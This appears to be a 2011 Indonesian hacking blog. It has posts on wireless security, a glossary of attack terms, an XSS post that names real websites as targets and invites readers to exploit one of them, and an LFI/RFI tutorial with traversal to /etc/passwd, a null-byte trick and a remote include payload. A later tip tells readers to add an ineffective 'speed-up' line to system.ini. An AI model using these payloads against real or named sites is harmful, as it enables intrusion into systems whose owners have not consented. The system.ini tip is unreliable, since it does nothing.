Kamis, 22 September 2011

0 keamanan sistem wireless

20.07 Under From 0x13
[0 Comment]
Sistem wireless mulai populer. Hal ini dimulai dengan maraknya cellular phone (handphone) di dunia yang pada mulanya hanya memberikan akses voice. Kemudian handphone dapat pula digunakan untuk mengirimkan data. Sebagai catatan, jumlah pengguna handphone di dunia (selain di Amerika Utara) sudah mengalahkan jumlah pengguna Internet. Di Indonesia sendiri, saat ini terdapat lebih dari 4 juta pelanggan handphone sementara hanya ada 1,5 juta pengguna Internet. Dengan kata lain, handphone lebih merasuk daripada Internet yang menggunakan jaringan yang fixed (wired).
SMS merupakan salah satu aplikasi penting di dunia wireless, khususnya di Asia. Anda dapat lihat di jalanan, di kantor, dan dimana saja orang menekan tombol handphonenya untuk mengirim SMS. Jutaan SMS dikirimkan setiap harinya. Hal ini tidak terduga oleh operator wireless. Bahkan ada yang mengatakan bahwa SMS merupakan killer application di dunia wireless.

Di sisi lain perangkat komputer mulai muncul dalam ukuran yang kecil dan portable. Personal Digital Assistant (PDA) seperti Palm, Handspring, Symbian, Windows CE mulai banyak digunakan orang. Perangkat ini tadinya bersifat standalone atau hanya memiliki fasilitas transfer data dengan menggunakan kabel serial (ke komputer) dan IrDa (infra red antar perangkat). Kemudian muncul perangkat yang memungkinkan komputer berkomunikasi dengan menggunakan wireless LAN (seri IEEE 802.11) dan Bluetooth. Semakin marak dan laju perkembangan komunikasi data secara wireless.
Secara umum, tekonologi wireless dapat dibagi menjadi dua:
1. Cellular-based technology: yaitu solusi yang menggunakan saluran komunikasi cellular atau pager yang sudah ada untuk mengirimkan data. Jangkauan dari cellullar-based biasanya cukup jauh.
2. Wireless LAN (WLAN): yaitu komunikasi wireless dalam lingkup area yang terbatas, biasanya antara 10 s/d 100 meter dari base station ke Access Point (AP).
Kedua jenis teknologi di atas tidak berdiri sendiri, melainkan memiliki banyak teknologi dan standar yang berbeda (dan bahkan terdapat konflik). Contohnya:


    Cellullar: GSM, CDMA, TDMA, CDPD, GPRS/EDGE, 2G, 2.5G, 3G, UMTS
    LAN: keluarga IEEE 802.11 (seperti 802.11b, 802.11a, 802.11g), HomeRF, 802.15 (Personal Area Network) yang berbasis Bluetooth, 802.16 (Wireless Metropolitan Area Network)

Kelihatannya akan ada konvergensi dari teknologi wireless dan juga dari perangkat pengakses informasi ini. Siapa pemenangnya? masih terlalu dini untuk diputuskan. Komunikasi wireless banyak disukai dikarenakan banyak keuntungan atau kemudahan, yaitu antara lain:


    Kenyamanan dengan adanya fasilitas roaming sehingga dapat dihubungi dan dapat mengakses informasi dimana saja.
    Komunikasi wireless memungkinkan pengguna bergerak dan tidak terikat pada satu tempat saja. Seorang eksekutif yang disopiri dapat mengakses emailnya di mobilnya ketika jalan sedang macet. Seorang pekerja dapat membawa notebooknya ke luar dan bekerja dari halaman yang rindang.
    Kecepatan dari komunikasi wireless sudah memasuki batas kenyamanan pengguna. Kecepatan ini masih akan terus meningkat.
    Mulai muncul aplikasi yang menggunakan fasilitas wireless, seperti misalnya location-specific applications.


Masalah Keamanan Sistem Wireless


Sistem wireless memiliki permasalahan keamanan tersendiri (khusus). Beberapa hal yang mempengaruhi aspek keamanan dari sistem wireless antara lain:


    Perangkat pengakses informasi yang menggunakan sistem wireless biasanya berukuran kecil sehingga mudah dicuri. Laptop, notebook, handphone, palm, dan sejenisnya sangat mudah dicuri. Jika dia dicuri, maka informasi yang ada di dalamnya (atau kunci pengakses informasi) bisa jatuh ke tangan orang yang tidak berhak.
    Penyadapan (man-in-the-middle attack) dapat dilakukan lebih mudah karena tidak perlu mencari jalur kabel untuk di-‘tap’. Sistem yang tidak menggunakan pengamanan enkripsi, atau menggunakan enkripsi yang mudah dipecah, akan mudah ditangkap.
    Perangkat wireless yang kecil membatasi kemampuan perangkat dari sisi CPU, RAM, kecepatan komunikasi, catu daya. Akibatnya sistem pengamanan (misalnya enkripsi) yang digunakan harus memperhatikan batasan ini. Saat ini tidak memungkinkan untuk menggunakan sistem enkripsi yang canggih yang membutuhkan CPU cycle yang cukup tinggi sehingga memperlambat transfer data.
    Pengguna tidak dapat membuat sistem pengaman sendiri (membuat enkripsi sendiri) dan hanya bergantung kepada vendor (pembuat perangkat) tersebut. Namun mulai muncul perangkat handphone yang dapat diprogram oleh pengguna.
    Adanya batasan jangkauan radio dan interferensi menyebabkan ketersediaan servis menjadi terbatas. DoS attack dapat dilakukan dengan menginjeksikan traffic palsu.
    Saat ini fokus dari sistem wireless adalah untuk mengirimkan data secepat mungkin. Adanya enkripsi akan memperlambat proses pengiriman data sehingga penggunaan enkripsi masih belum mendapat prioritas. Setelah kecepatan pengiriman data sudah memadai dan harganya menjadi murah, barulah kita akan melihat perkembangan di sisi pengamanan dengan menggunakan enkripsi.


Contoh Kasus Celah Keamanan Sistem Wireless


Beberapa contoh kasus lubang keamanan sistem wireless antara lain:


    Cloning sistem cellular berbasis AMPS sehingga “pulsa” pelanggan dapat dicuri oleh orang lain yang tidak berhak.
    Enkripsi A5 dari sistem seluler GSM yang dibatasi kemampuan dan dirahasiakan algoritmanya. Algoritma yang dirahasiakan dianggap tidak aman karena tidak melalui proses review yang terbuka.
    Peneliti di Amerika sudah membuktikan bocornya LAN perusahaan yang menggunakan wireless LAN IEEE 802.11b. Dengan menggunakan sebuah notebook yang dilengkapi dengan perangkat IEEE 802.11b seorang peneliti sambil berjalan menunjukkan LAN dan data-data dari beberapa perusahaan yang bocor ke jalan di depan kantor. Penggunaan firewall untuk membatasi akses ke kantor dari Internet akan sia-sia jika pintu belakang (backdoor) wireless LAN bisa digunakan oleh cracker untuk masuk ke sistem. Program untuk memecahkan wireless LAN ini mulai banyak tersedia di Internet, seperti misalnya Airsnort, Netstumbler, WEPcrack, dan lain-lain.
    NIST (lembaga standar di Amerika) melarang penggunaan wireless LAN untuk institusi pemerintah yang memiliki data-data rahasia.


Pengamanan Sistem Wireless


Untuk sistem wireless LAN yang menggunakan IEEE 802.11b, disarankan untuk mensegmentasi jaringan dimana wireless LAN ini berada dan menganggap segmen ini sebagai extranet. Jika diperlukan, firewall digunakan untuk membatasi jaringan ini dengan jaringan internal yang membutuhkan keamanan lebih tinggi.

Untuk meningkatkan keamanan, gunakan MAC address sebagai mekanisme untuk memperbolehkan connection (access control). Kerugian dari mekanisme ini adalah kecepatan maksimum yang dapat diperoleh adalah sekitar 11 Mbps. (Secara teori MAC address masih dapat diserang dengan menggunakan proxy arp.) Akses dengan menggunakan MAC ini masih belum membatasi penyadapan.

Enkripsi seperti WEP digunakan untuk menghindari dan mempersulit akses. WEP sendiri masih memiliki banyak masalah teknis, dimana crack (pemecahan) enkripsi WEP membutuhkan computing resources yang dimiliki oleh orang-orang tertentu. Di masa yang akan datang akan ada pengamanan yang lebih baik.

Aplikasi yang menggunakan perangkat wireless sebaiknya menggunakan mekanisme enkripsi end-to-end, dengan menganggap jaringan sebagai sistem yang tidak aman.
Read More »

Jumat, 09 September 2011

0 XSS for newbie

21.34 Under From 0x13
[0 Comment]
XSS for dummies
XSS adalah suatu cara memasukan code/script HTML kedalam suatu web site dan dijalankan melalui browser di client . XSS merupakan pilihan yang menarik bagi para newbie yang tidak mempunyai shell dan sploit ,karena untuk melakukan xss hanya di butuhkan sebuah browser. Ingat XSS adalah hanya memasukan script kedalam url site target . Ada perbedaan antara XSS dengan Script injetion . Xss hasilnya hanya bisa diliat secara temporary beda dengan script injection yang full merubahnya sama seperti kita mendapatkan root dan merubah halaman index-nya.

Berikut POC dari serangan XSS:

Ufoakses.net

Ambarrukmo.com


  HNC menemukan 1 website lg yg memiliki celah xss. Ini alamat-nya, http://www.multigames88.com . Silahkan temen2 coba exploitasi. 
 
HNC

Read More »

0 Tutor singkat RFI & LFI

21.32 Under From 0x13
[0 Comment]
Buat yg belum tau aja yhaa... klo yg udh jago, mending ga ush di baca... drpd buang2 waktu :tongue:

Sebelumnya apa sih LFI dan RFI itu??

LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.
RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.


Penjelasan
fungsi-fungsi yang dapat menyebabkan LFI/RFI:


Code:
include();
include_once();
require();
require_once();

Dengan syarat pada konfigurasi php di server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off

contoh:
misalkan kita punya file index.php dengan content kodenya seperti ini,


Code:
<?php
  include "../$_GET[imagefile]";
  ?>

misal $imagefile=image.php
mungkin di url akan terlihat seperti ini bentuknya

Code:
http://www.[target].com/index.php?imagefile=image.php
maka script ini akan menampilkan halaman image.php.


nah disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter.
misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah "../" itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target :lol:

tapi seandainya terdapat error seperti di bawah ini:

Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2
liat pada passwd ternyata dia ditambah dengan extensi ".php" berarti code yang digunakan untuk include adalah seperti ini

Code:
Code:

  <?php
  include($_GET[imagefile].".php");
  ?>

nah untuk dapat mengelabui script tersebut kita bisa menggunakan (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan seperti

http://www.[target].com/index.php?imagefile=../../../../../../../../../etc/passwd

lalu untuk apa ? yaitu untuk menghilangkan karakter apapun setelah passwd.
* ini disebut null injection.

Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya:

http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt

dengan file evil.txt misal berisi "hacked by n4is3n"

jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga.


Pencegahan
Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu
1. Memvalidasi variable.
2. Mengkonfigurasi kembali settingan php pada server website Anda.
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
3. pada include mungkin bisa ditambahkan "./"
jadinya seperti ini,

Code:
Code:
include("./"$_GET[imagefile].".php");

maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya.

http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt

dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/evil.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tsb.

Semoga tutor sederhana dan sangat awam ini (Maklum, yg nulis jg msh awam) bermanfaat.
*Referensi:
- Crawler
- http://en.wikipedia.org/local_file_incusion
- http://en.wikipedia.org/remote_file_inclusion


HNC
Read More »

0 ISTILAH-ISTILAH HACKING

21.22 Under From 0x13
[0 Comment]
SQL Injection : memasukkan (injeksi) command2 sql ke dalm query sql dlm prgram, memanipulasi query sql dlm program.

DDoS : Distributed Denial of Service. DoS sndiri adalah serangan dgn melakukan request terus menerus pd victim dg tujuan untk mghabiskan resource pd victim,spt bandwith,memory,dll. Victim yg kehabisan resource, akan down. *"Distributed" DoS adalah DoS yg d lakukan secara terdistribusi atau berjamaah dlm jumlah besar,biasanya menggunakan bot pd irc.

Shell: inti dari sistem operasi.Shell mengendalikan krj sistem operasi nya.

Shell intepreter: bentuk antarmuka yg merupakan penghubung antara shell dgn brainware. Bentuk umumnya berupa console,cmd,webshell,dll.

Deface: merubah tampilan hlman suatu website secara illegal

Debug: kegiatan mencari bug pada aplikasi dan memperbaiki bug yg d temukan.

Bug
-> Kesalahan pada pemrograman yang menyebabkan sistem dapat dieksploitasi atau error dengan kondisi tertentu. Dalam web hacking, terdapat beberapa bug seperti RFI, LFI, SQLi, RCE, XSS, dll.

Patch
-> Perbaikan terhadap bug dengan mengupdate sistem yg vurnerable.

Vurnerable
-> Sistem yang memiliki bug sehingga rentan terhadap serangan.

XSS
-> adalah suatu cara memasukan code/script HTML kedalam suatu web site dan dijalankan melalui browser di client

Phising
-> adalah tindakan memperoleh informasi pribadi seperti User ID, password, PIN, nomor rekening bank, nomor kartu kredit Anda secara ilegal.

Keylogger
-> adalah mesin atau software yang dipasang atau diinstal di komputer agar mencatat semua aktivitas yang terjadi pada keyboard (bekerja diam diam alias tidak terketahui oleh kita secara kasat mata)


Fake Login
-> Halaman tiruan/palsu yang dibuat untuk mengelabui user, bertujuan untuk mencuri informasi penting dari user (eg. username, password, email). Seperti pada kasus pencurian email n password Friendster, Facebook, dll.

Fake Process
-> Proses tiruan yang dibuat untuk menyembunyikan nama proses asli, bertujuan untuk mengelabui admin sistem.
Seperti mem-fake "./backdoor" menjadi "usr/sbin/httpd", sehingga ketika di "ps -ax", proses "./backdoor" berubah menjadi "usr/sbin/httpd".
Malicious Code/Script
-> Kode yg dibuat untuk tujuan jahat atau biasa disebut kode jahat.

Virus
-> Kode jahat yg sistim kerjanya seperti virus pada manusia, menggandakan diri dan seperti parasit menopang pada file yg diinfeksinya. File yg terinfeksi menjadi rusak atau ukurannya bertambah. Sekarang kode jenis ini akan sangat mudah terdeteksi pada aplikasi yg memeriksa crc32 dari dirinya.

Worm (Cacing)
-> Kode jahat yg sistim kerjanya seperti cacing, menggandakan diri dan menyebar, tidak menopang pada file. Kebanyakan di Indonesia adalah kode jenis ini.

Trojan (Horse)
-> Kode jahat yg sistim kerjanya seperti kuda trojan pada zaman kerajaan Romawi, masuk ke dalam sistem untuk mengintip dan mencuri informasi penting yg ada didalamnya kemudian mengirimnya kepada pemilik trojan.

Backdoor: pintu belakang untuk masuk ke sistem yg telah brhasil d exploitasi oleh attacker. Brtujuan untuk jalan masuk lg k sistem korban sewaktu2.

Bind: membuka port pada kompi korban.Biasanya untuk tujuan backdooring. Bind umumnya disertai service2 yg lgsg mengakses shell.

Back connect : mendapatkan koneksi balik or mengkonek-kan kompi korban ke kompi kita.


Flood : membanjiri target untuk tujuan target down. Flood = DoS. Ada bnyk mcm flood :
tsunami flood : membanjiri user dgn karakter2 berat dgn jumlah banyak,berbentuk spt gelombang tsunami.Tujuanya hanya membuat user disconnected. Tsunami flood hny trjd d irc.
TCP Flood : membanjiri jalur tcp target sehingga target kehabisan bandwith pada port yg sedang d flood. Pd ddos web server, tcp flood d serangkan ke port 80 (http), sehingga menyebabkan jalur http penuh.
Dll.

Port
-> Sederhananya adalah sebuah colokan, dimana colokan tersebut menyediakan layanan (service) tertentu.
Pada hardware komputer terdapat USB Port, Serial Port, Printer Port, dll.
Pada sistem operasi, port ini abstrak, tidak kelihatan seperti port2 pada hardware. Contoh: FTP Port (21), SSH Port (22), Telnet Port (23), HTTP Port (80), dll.
Ibaratnya jika kita mencolokkan kabel ke Port 80, maka kita akan mendapatkan layanan HTTP untuk dapat Browsing situs, download, dll.




HNC
Read More »

Senin, 05 September 2011

0 hack bandwith di idm (internet download manager)

17.52 Under From 0x13
[0 Comment]
Setting maksimal IDM

option > tab connection > pilih LAN 10MBs > default
max conn number ganti ke 16 buat yang koneksi kencang minimal 3G /384kbps pilihan 16 akan benar-benar memanfaatkan bandwidth koneksi yang kita punya.
Untuk yang memakai koneksi gprs/64kbps pilihan terbaik adalah set ke 1.agar koneksi kita tidak RTO alias Putus2
tab general >automatically start download of URL di centang tab download >centang start immediately while displaying (ni IDM akan auto start unduh begitu ada link yang kita masukan di IDM.


Memasukkan Proxy ke IDM
Klik menu Download >> Options >> Tab Proxy.
Centang Use HTTP Proxy.
Pada kolom Proxy isikan ini : Proxies.telkom.net.id lalu pada kolom Port isikan : 8080 untuk kolom User Name dan Password biarkan kosong saja.
anda bebas mau menggunakan proxy yang aku kasih atau tidak, jika anda mempunyai alamat pengaturan proxy yang lain pake aja milik anda.
cara ini akan membuat kecepatan download anda menjadi stabil.
NB : Cara di atas terkadang membuat  download anda menjadi gagal, jika terjadi hal demikian jangan gunakan proxynya dengan cara menghilangkan tanda centang di Use HTTP Proxy.

Cara menggunakannya :

klik tulisan scheduler di IDM pada tulisan main download queue (kiri atas) di tab schedule centang semua option di bagian bawah
hang up modem when done
exit IDM when done
turn off computer when done
force process to terminate
pada tab kiri bawah..klik new queue.. Beri nama bebas, kembali ke tab main download >>files in queue >>drag n drop file ke new queue yang baru kita buat tadi (jav) pada tulisan jav tadi lakukan hal yang sama di bagian schedule
hang up modem when done
exit IDM when done
turn off computer when done
force process to terminate di bawah tulisan file in queue ..download … at the same time pilih 1 atau 2 saja biar speed download maksimal
klik start now… pc akan mati sendiri ketikan download kita sudah rampun
Read More »

0 hack koneksi (mudah-mudahan membantu) :)

17.44 Under From 0x13
[0 Comment]
nih saya share tentang sedikit cara mempercepat koneksi
 cekidot :------>



A. Menggubah setting bandwith Pada windows
Secara default OS windows membatasi bandwidth untuk koneksi internet sebanyak 20% dari total bandwidth, anda dapat memaksimalkan jatah bandwith untuk PC atau laptop yang anda gunakan agar akses internet anda dapat maksimal dengan tips sederhana ini :

1. Klik Tombol Start pada windows
2. Klik Run dan Ketik gpedit.msc dan klik OK
3. Pilih Administrative Templates dan Klik Network
4. Setelah terbuka klik QoS Packet scheduler
5. Pilih Limit Reservable Bandwidth dan ubah setting menjadi Enable
6. Ubah Bandwidth Limitnya menjadi 0 Klik Apply > OK
7. keluar dan Restart komputer


B. Setting DNS menggunakan OpenDNS.

1. Buka Control Panel
2. Pilih icon Network Connection
3. Klik Kanan Local Area Connection pilih Properties atau Wireless Network Connection jika anda menggunakan wireless untuk koneksi
4. Pilih Internet Protocol (TCP/IP) kemudian Klik Properties
5. Klik Use Following DNS Server
6. Isi Preferred DNS Server dengan angka : 208.67.222.222
7. Isi Alternate DNS Server dengan angka : 208.67.220.220
8. Kemudian Klik OK

C. Mengatur Buffer pada windows :

1. Klik tombol Start dan pilih Menu “Run”

2. Ketik “system.ini”

3. Setelah Terbuka tambahkan dibawah baris terakhir
page buffer=100000kbps load=100000kbps download=100000kbps save=100000kbps back=100000kbps

5. Hasilnya akan tampak seperti berikut ini.

; for 16-bit app support
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
[driver32]
[386enh]
woafont=dosapp.FON
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
page buffer=100000kbps load=100000kbps download=100000kbps save=100000kbps back=100000kbps

6. Save dan exit lalu resstart komputer anda
Read More »

0 kumpulan decrypt md5 online

17.41 Under From 0x13
[0 Comment]
Read More »